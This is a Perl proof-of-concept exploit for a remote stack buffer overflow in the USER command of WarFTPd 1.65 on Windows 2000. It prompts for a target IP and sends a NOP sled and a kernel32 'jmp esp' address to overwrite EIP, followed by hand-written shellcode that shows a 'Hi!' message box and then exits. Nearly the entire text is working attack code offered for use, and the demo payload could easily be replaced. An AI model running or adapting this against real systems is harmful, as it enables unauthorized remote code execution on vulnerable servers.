use IO::Socket;
$port=21;
$|=1;

             #Kernel32  jmp esp    7754a3ab
        #Kernel32  MessageBoxA  77e375d5
        #MSVCRT     c_exit    78003985
        

print "\tRemote Buffer overflow of user in WarFTPd 1.65 for Win2k\n\n\tBy kago\@kago.ca\n\n";
print "\tEnter The Target IP :";

$ip = <STDIN>;
chomp $ip;



  $host = inet_aton($ip);
            $ServerAddr = sockaddr_in($port, $host);
        $protocol_name = "tcp";
            socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
            select(CLIENT); $|=1; select(STDOUT);
        if(connect(CLIENT, $ServerAddr)) {
        send(CLIENT,"user ",0);
        
        send(CLIENT,"\x90"x485,0);            #485 nops to overwrite EIP
        send(CLIENT,"\xab\xa3\x54\x77",0);     #Overwriting EIP with "jmp,esp" address via Kernel32.dll
        send(CLIENT,"\x90"x5,0);          #some NOPs for padding- the "call,esp" steps to the last nop at 0098fd9c
        
        send(CLIENT,"\x55",0);            #push ebp - starting something new
        send(CLIENT,"\x8b\xec",0);          #mov ebp,esp
        send(CLIENT,"\x33\xff",0);          #xor edi,edi - edi = 0
        send(CLIENT,"\x57",0);            #push edi 
                
        send(CLIENT,"\xc6\x45\xfc\x48",0);      #mov byte ptr [ebp-0x4],0x6f - H
        send(CLIENT,"\xc6\x45\xfd\x69",0);      #mov byte ptr [ebp-0x3],0x78 - i
        send(CLIENT,"\xc6\x45\xfe\x21",0);      #mov byte ptr [ebp-0x2],0x21 - !
        
        
        send(CLIENT,"\xba\xd5\x75\xe3\x77",0);    #mov edx, 0x77e375d5 - MessageBoxA to edx
        send(CLIENT,"\x52",0);            #push edx
        send(CLIENT,"\x57",0);            #push edi
        send(CLIENT,"\x8d\x55\xfc",0);        #lea edx,[ebp-0x4] - move Hi! to edx
        send(CLIENT,"\x52",0);            #push edx
        send(CLIENT,"\x52",0);            #push edx
        send(CLIENT,"\x52",0);            #push edx
      
        send(CLIENT,"\x57",0);            #push edi
        send(CLIENT,"\xff\x55\xf8",0);        #call dword ptr [ebp-0x8]
        send(CLIENT,"\x55",0);            #push ebp - Start the exit stuff so we don't crash
        send(CLIENT,"\x8b\xec",0);          #move ebp,esp
        send(CLIENT,"\xba\x86\x41\x01\x89",0);    #mov edx, 0x89014186 - To exit we need to call exit at 78003985 from MSVCRT but we can't use Nulls
        send(CLIENT,"\x81\xea\x01\x08\x01\x11",0);  #sub edx, 0x11010201 - My leet-o way to get to the address with the null
        send(CLIENT,"\x52",0);            #push edx
        send(CLIENT,"\x33\xc0",0);          #xor eax,eax
        send(CLIENT,"\x50",0);            #push eax
        send(CLIENT,"\xff\x55\xfc",0);        #call dword ptr [ebp-0x4]
        
        send(CLIENT,"\n",0);
        
        close(CLIENT);
  
  }